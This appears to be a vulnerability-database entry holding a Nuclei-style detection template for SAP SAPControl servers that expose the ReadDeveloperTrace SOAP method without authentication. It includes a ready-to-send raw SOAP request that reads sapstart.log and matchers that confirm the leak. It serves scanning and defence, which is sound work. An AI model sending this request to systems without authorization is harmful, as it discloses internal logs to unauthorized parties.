sap-readlogfile-disclosure: SAPControl ReadDeveloperTrace Log - Disclosure

2026-02-24 SAP PoC Public

Description

Detected SAP systems where the SAP Start Service (sapstartsrv) SAPControl SOAP interface exposes the ReadDeveloperTrace web method without authentication.

PoC

id: sap-readlogfile-disclosure

info:
  name: SAPControl ReadDeveloperTrace Log - Disclosure
  author: LRVT,l4rm4nd
  severity: medium
  description: |
    Detected SAP systems where the SAP Start Service (sapstartsrv) SAPControl SOAP interface exposes the ReadDeveloperTrace web method without authentication.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb
    - https://itsiti.com/csmon/
    - https://sapbasisinfo.com/blog/2017/01/20/sapcontrol-command-funtions-for-sap-hana/
    - https://help.sap.com/docs/SUPPORT_CONTENT/si/3362959700.html
  metadata:
    max-request: 1
  tags: misconfig,sap,sapcontrol,soap,log,disclosure

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=UTF-8
        SOAPAction: '""'

        <?xml version="1.0" encoding="utf-8"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
          <SOAP-ENV:Header>
            <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
              <enableSession>true</enableSession>
            </sapsess:Session>
          </SOAP-ENV:Header>
          <SOAP-ENV:Body>
            <ns1:ReadDeveloperTrace xmlns:ns1="urn:SAPControl">
              <filename>sapstart.log</filename>
            </ns1:ReadDeveloperTrace>
          </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "ReadDeveloperTraceResponse"
          - "<lines>"
          - "<item>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220047f81b758e3623463921613c2ac15ee00ebdd5091637043f29398b3ee7900e4022100e8dfd6c3acff27b8f83a90cb9bc73d726f5d7a920fc7fbb976dc142fa7c19c82:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities